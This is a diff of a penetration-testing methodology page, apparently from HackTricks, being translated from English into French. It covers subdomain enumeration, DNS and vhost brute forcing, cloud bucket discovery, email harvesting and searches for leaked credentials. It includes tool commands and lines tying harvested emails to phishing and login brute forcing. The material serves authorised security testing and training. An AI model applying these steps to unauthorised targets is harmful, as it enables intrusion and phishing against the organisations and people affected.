sous-domaines, des adresses IP, des informations WHOIS et bien plus encore. Vita est facile à utiliser et peut être exécuté à partir de la ligne de commande. ``` vita -d tesla.com ``` - * [**theHarvester**](https://github.com/laramies/theHarvester) +theHarvester est un outil de reconnaissance qui permet de collecter des informations sur les emails, les noms d'utilisateur et les noms de domaine à partir de différents moteurs de recherche publics et de sources de données. Cet outil est très utile pour collecter des informations sur une entreprise ou une personne avant de lancer une attaque de phishing ou une attaque de force brute. ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` +Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, tels que: -There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like: - -* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains - +* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilise l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) pour obtenir des sous-domaines. ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` - -* [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com) - +* [**API gratuite JLDC**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` - -* [**RapidDNS**](https://rapiddns.io) free API - +* [**RapidDNS**](https://rapiddns.io) API gratuit ```bash # Get Domains from rapiddns free API rapiddns(){ @@ -324,9 +292,9 @@ rapiddns(){ } rapiddns tesla.com ``` - * [**https://crt.sh/**](https://crt.sh) +Ce site web permet de rechercher des certificats SSL/TLS pour un domaine donné. Les certificats peuvent contenir des informations utiles telles que des sous-domaines, des adresses IP et des noms d'organisation. ```bash # Get Domains from crt free API crt(){ @@ -336,16 +304,12 @@ crt(){ } crt tesla.com ``` - -* [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. - +* [**gau**](https://github.com/lc/gau)** :** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Wayback Machine et de Common Crawl pour un domaine donné. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` - -* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there. - +* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Ils parcourent le web à la recherche de fichiers JS et extraient les sous-domaines à partir de là. ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -353,36 +317,33 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com # Get only subdomains from subscraper, this already perform recursion over the found results python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f ``` - * [**Shodan**](https://www.shodan.io/) +Shodan est un moteur de recherche pour les dispositifs connectés à Internet. Il permet de rechercher des dispositifs en fonction de différents critères tels que le système d'exploitation, le port utilisé, le pays, etc. Shodan peut être utilisé pour trouver des dispositifs vulnérables ou mal configurés, ainsi que pour identifier des dispositifs spécifiques sur Internet. ```bash # Get info about the domain shodan domain # Get other pages with links to subdomains shodan search "http.html:help.domain.com" ``` - * [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder) +*Trouveur de sous-domaines Censys* ``` export CENSYS_API_ID=... export CENSYS_API_SECRET=... python3 censys-subdomain-finder.py tesla.com ``` +* [**securitytrails.com**](https://securitytrails.com/) dispose d'une API gratuite pour rechercher des sous-domaines et l'historique des adresses IP. +* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) Ce projet offre gratuitement tous les sous-domaines liés aux programmes de bug bounty. Vous pouvez également accéder à ces données en utilisant [chaospy](https://github.com/dr-0x0x/chaospy) ou accéder à la portée utilisée par ce projet [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list). -* [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history -* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) +Vous pouvez trouver une **comparaison** de nombreux outils ici: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) -This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +### **Force brute DNS** -You can find a **comparison** of many of these tools here: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +Essayons de trouver de nouveaux sous-domaines en effectuant une force brute sur les serveurs DNS en utilisant des noms de sous-domaine possibles. -### **DNS Brute force** - -Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. - -For this action you will need some **common subdomains wordlists like**: +Pour cette action, vous aurez besoin de certaines **listes de mots de sous-domaines courants tels que**: * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -390,118 +351,93 @@ For this action you will need some **common subdomains wordlists like**: * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +Et également les adresses IP des bons résolveurs DNS. Pour générer une liste de résolveurs DNS de confiance, vous pouvez télécharger les résolveurs depuis [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) et utiliser [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) pour les filtrer. Ou vous pouvez utiliser: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -The most recommended tools for DNS brute-force are: - -* [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives. +Les outils les plus recommandés pour la force brute DNS sont: +* [**massdns**](https://github.com/blechschmidt/massdns): C'était le premier outil qui a effectué une force brute DNS efficace. Il est très rapide, mais il est sujet aux faux positifs. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` - -* [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver - +* [**gobuster**](https://github.com/OJ/gobuster) : Celui-ci n'utilise qu'un seul résolveur. ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` - -* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support. - +* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est un wrapper autour de `massdns`, écrit en go, qui vous permet d'énumérer des sous-domaines valides en utilisant la force brute active, ainsi que de résoudre des sous-domaines avec une gestion des wildcards et une prise en charge facile de l'entrée-sortie. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` - -* [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`. - +* [**puredns**](https://github.com/d3mondev/puredns) : Il utilise également `massdns`. ``` puredns bruteforce all.txt domain.com ``` - -* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously. - +* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilise asyncio pour effectuer de manière asynchrone une attaque par force brute sur des noms de domaine. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` +### Deuxième tour de Brute-Force DNS -### Second DNS Brute-Force Round - -After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose: - -* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations. +Après avoir trouvé des sous-domaines en utilisant des sources ouvertes et le brute-forcing, vous pouvez générer des altérations des sous-domaines trouvés pour essayer d'en trouver encore plus. Plusieurs outils sont utiles à cette fin : +* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** À partir des domaines et des sous-domaines, génère des permutations. ```bash cat subdomains.txt | dnsgen - ``` - -* [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations. - * You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). - +* [**goaltdns**](https://github.com/subfinder/goaltdns) : Étant donné les domaines et sous-domaines, génère des permutations. + * Vous pouvez obtenir la liste de permutations **wordlist** de goaltdns [**ici**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` - -* [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one. - +* [**gotator**](https://github.com/Josue87/gotator)**:** Étant donné les domaines et sous-domaines, génère des permutations. Si aucun fichier de permutations n'est indiqué, gotator utilisera le sien. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - -* [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools). - * You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt). - +* [**altdns**](https://github.com/infosec-au/altdns) : En plus de générer des permutations de sous-domaines, il peut également essayer de les résoudre (mais il est préférable d'utiliser les outils précédemment commentés). + * Vous pouvez obtenir la **liste de mots** de permutations altdns [**ici**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - -* [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card). - * You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). - +* [**dmut**](https://github.com/bp0lr/dmut) : Un autre outil pour effectuer des permutations, des mutations et des altérations de sous-domaines. Cet outil va forcer le résultat (il ne supporte pas les DNS wildcards). + * Vous pouvez obtenir la liste de mots de permutations de dmut [**ici**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` +* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basé sur un domaine, il **génère de nouveaux noms de sous-domaines potentiels** basés sur des modèles indiqués pour essayer de découvrir plus de sous-domaines. -* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it **generates new potential subdomains names** based on indicated patterns to try to discover more subdomains. - -#### Smart permutations generation - -* [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains. +#### Génération intelligente de permutations +* [**regulator**](https://github.com/cramppet/regulator) : Pour plus d'informations, lisez ce [**poste**](https://cramppet.github.io/regulator/index.html) mais il prendra essentiellement les **principales parties** des **sous-domaines découverts** et les mélangera pour trouver plus de sous-domaines. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` - -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan. - +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ est un fuzzer de sous-domaines brute-force couplé à un algorithme immensément simple mais efficace guidé par les réponses DNS. Il utilise un ensemble de données d'entrée fournies, comme une liste de mots personnalisée ou des enregistrements DNS/TLS historiques, pour synthétiser avec précision plus de noms de domaine correspondants et les étendre encore plus dans une boucle basée sur les informations recueillies lors de l'analyse DNS. ``` echo www | subzuf facebook.com ``` +### **Workflow de découverte de sous-domaines** -### **Subdomain Discovery Workflow** - -Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer: +Consultez cet article de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant les **workflows de Trickest** afin que je n'aie pas besoin de lancer manuellement une multitude d'outils sur mon ordinateur : {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -### **VHosts / Virtual Hosts** +### **VHosts / Hôtes virtuels** -If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**. +Si vous avez trouvé une adresse IP contenant **une ou plusieurs pages Web** appartenant à des sous-domaines, vous pouvez essayer de **trouver d'autres sous-domaines avec des pages Web dans cette IP** en cherchant dans les sources **OSINT** pour les domaines dans une IP ou en **bruteforçant les noms de domaine VHost dans cette IP**. #### OSINT -You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**. +Vous pouvez trouver certains **VHosts dans les IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres API**. -**Brute Force** - -If you suspect that some subdomain can be hidden in a web server you could try to brute force it: +**Bruteforce** +Si vous soupçonnez qu'un sous-domaine peut être caché dans un serveur Web, vous pouvez essayer de le bruteforcer : ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -515,215 +451,108 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` - {% hint style="info" %} -With this technique you may even be able to access internal/hidden endpoints. +Avec cette technique, vous pourriez même être en mesure d'accéder à des points d'extrémité internes/cachés. {% endhint %} ### **CORS Brute Force** -Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**. - +Parfois, vous trouverez des pages qui ne renvoient l'en-tête _**Access-Control-Allow-Origin**_ que lorsqu'un domaine/sous-domaine valide est défini dans l'en-tête _**Origin**_. Dans ces scénarios, vous pouvez abuser de ce comportement pour **découvrir** de nouveaux **sous-domaines**. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` +### **Brute Force de Buckets** -### **Buckets Brute Force** +En cherchant des **sous-domaines**, gardez un œil sur les éventuels **buckets** auxquels ils pointent et, dans ce cas, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +De plus, à ce stade, vous connaîtrez tous les domaines faisant partie du périmètre, essayez donc de [**forcer les noms de bucket possibles et vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/). -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +### **Surveillance** -### **Monitorization** +Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence de certificat** que [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) peut faire. -You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. +### **Recherche de vulnérabilités** -### **Looking for vulnerabilities** +Vérifiez les éventuelles [**prises de contrôle de sous-domaines**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ +Si le **sous-domaine** pointe vers un **bucket S3**, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/). -Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +Si vous trouvez un **sous-domaine avec une adresse IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de port**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. En fonction des services en cours d'exécution, vous pouvez trouver dans **ce livre des astuces pour les "attaquer"**.\ +Notez que parfois, le sous-domaine est hébergé dans une adresse IP qui n'est pas contrôlée par le client, donc elle n'est pas dans le périmètre, soyez prudent. -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +## Adresses IP -## IPs +Dans les étapes initiales, vous avez peut-être **trouvé des plages d'adresses IP, des domaines et des sous-domaines**.\ +Il est temps de **recueillir toutes les adresses IP de ces plages** et pour les **domaines/sous-domaines (requêtes DNS)**. -In the initial steps you might have **found some IP ranges, domains and subdomains**.\ -It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).** - -Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +En utilisant les services des **API gratuites** suivantes, vous pouvez également trouver les **adresses IP précédemment utilisées par les domaines et les sous-domaines**. Ces adresses IP pourraient encore être la propriété du client (et pourraient vous permettre de trouver des [**bypass CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)). * [**https://securitytrails.com/**](https://securitytrails.com/) -### **Looking for vulnerabilities** +### **Recherche de vulnérabilités** -**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**. +**Scan de port de toutes les adresses IP qui n'appartiennent pas à des CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **en mesure de trouver des vulnérabilités**. -**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.** +**Trouvez un** [**guide**](../pentesting-network/) **sur la façon de scanner les hôtes.** -## Web servers hunting +## Recherche de serveurs Web -> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. +> Nous avons trouvé toutes les entreprises et leurs actifs et nous connaissons les plages d'adresses IP, les domaines et les sous-domaines faisant partie du périmètre. Il est temps de chercher des serveurs Web. -In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope. +Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des adresses IP et des domaines découverts**, vous avez donc peut-être **déjà trouvé tous les serveurs Web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs Web** faisant partie du périmètre. -Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). - -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\ -Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports: +Veuillez noter que cela sera **orienté pour la découverte d'applications Web**, vous devriez donc également **effectuer la recherche de vulnérabilités** et le **scan de port** (**si autorisé** par le périmètre). +Une **méthode rapide** pour découvrir les **ports ouverts** liés aux serveurs **Web** en utilisant [**masscan peut être trouvée ici**](../pentesting-network/#http-port-discovery).\ +Un autre outil pratique pour rechercher des serveurs Web est [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) et [**httpx**](https://github.com/projectdiscovery/httpx). Vous passez simplement une liste de domaines et il essaiera de se connecter aux ports 80 (http) et 443 (https). De plus, vous pouvez indiquer d'essayer d'autres ports : ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` +### **Captures d'écran** -### **Screenshots** +Maintenant que vous avez découvert **tous les serveurs web** présents dans le périmètre (parmi les **adresses IP** de l'entreprise et tous les **domaines** et **sous-domaines**), vous ne savez probablement **pas par où commencer**. Alors, simplifions les choses et commençons simplement par prendre des captures d'écran de tous les serveurs. En regardant simplement la **page principale**, vous pouvez trouver des **points d'extrémité étranges** qui sont plus **susceptibles** d'être **vulnérables**. -Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. +Pour réaliser l'idée proposée, vous pouvez utiliser [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +De plus, vous pouvez ensuite utiliser [**eyeballer**](https://github.com/BishopFox/eyeballer) pour parcourir toutes les **captures d'écran** et vous dire **ce qui est susceptible de contenir des vulnérabilités** et ce qui ne l'est pas. -Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't. +## Actifs Cloud Publics -## Public Cloud Assets +Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devez **commencer par une liste de mots-clés qui identifient cette entreprise**. Par exemple, pour une entreprise de crypto, vous pouvez utiliser des mots tels que : `"crypto", "wallet", "dao", "", <"noms_de_sous-domaines">`. -In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "", <"subdomain_names">`. - -You will also need wordlists of **common words used in buckets**: +Vous aurez également besoin de listes de mots couramment utilisés dans les **buckets** : * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info). +Ensuite, avec ces mots, vous devez générer des **permutations** (consultez la section [**Deuxième tour de force brute DNS**](./#second-dns-bruteforce-round) pour plus d'informations). -With the resulting wordlists you could use tools such as [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +Avec les listes de mots résultantes, vous pouvez utiliser des outils tels que [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** -Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**. +N'oubliez pas que lors de la recherche d'actifs cloud, vous devez **chercher plus que des buckets dans AWS**. -### **Looking for vulnerabilities** +### **Recherche de vulnérabilités** -If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them. +Si vous trouvez des choses telles que des **buckets ou des fonctions cloud ouverts exposés**, vous devez **y accéder** et essayer de voir ce qu'ils vous offrent et si vous pouvez les exploiter. -## Emails +## E-mails -With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company: +Avec les **domaines** et les **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous avez besoin pour commencer à rechercher des e-mails. Voici les **API** et les **outils** qui ont le mieux fonctionné pour moi pour trouver des e-mails d'une entreprise : -* [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs -* API of [**https://hunter.io/**](https://hunter.io/) (free version) -* API of [**https://app.snov.io/**](https://app.snov.io/) (free version) -* API of [**https://minelead.io/**](https://minelead.io/) (free version) +* [**theHarvester**](https://github.com/laramies/theHarvester) - avec des API +* API de [**https://hunter.io/**](https://hunter.io/) (version gratuite) +* API de [**https://app.snov.io/**](https://app.snov.io/) (version gratuite) +* API de [**https://minelead.io/**](https://minelead.io/) (version gratuite) -### **Looking for vulnerabilities** +### **Recherche de vulnérabilités** -Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign. +Les e-mails seront utiles plus tard pour **forcer le login web et les services d'authentification** (comme SSH). De plus, ils sont nécessaires pour les **phishings**. De plus, ces API vous donneront encore plus d'**informations sur la personne** derrière l'e-mail, ce qui est utile pour la campagne de phishing. -## Credential Leaks +## Fuites d'informations d'identification -With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails: +Avec les **domaines**, les **sous-domaines** et les **e-mails**, vous pouvez commencer à rechercher des informations d'identification qui ont été divulguées dans le passé et appartenant à ces e-mails : * [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://www.dehashed.com/](https://www.dehashed.com/) -### **Looking for vulnerabilities** - -If you find **valid leaked** credentials, this is a very easy win. - -## Secrets Leaks - -Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases: - -### Github Leaks - -Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\ -You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically. - -**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**. - -#### Github Dorks - -Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking: - -{% content-ref url="github-leaked-secrets.md" %} -[github-leaked-secrets.md](github-leaked-secrets.md) -{% endcontent-ref %} - -### Pastes Leaks - -Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\ -You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time. - -### Google Dorks - -Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them all**. - -_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._ - -### **Looking for vulnerabilities** - -If you find **valid leaked** credentials or API tokens, this is a very easy win. - -## Public Code Vulnerabilities - -If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it. - -**Depending on the language** there are different **tools** you can use: - -{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" 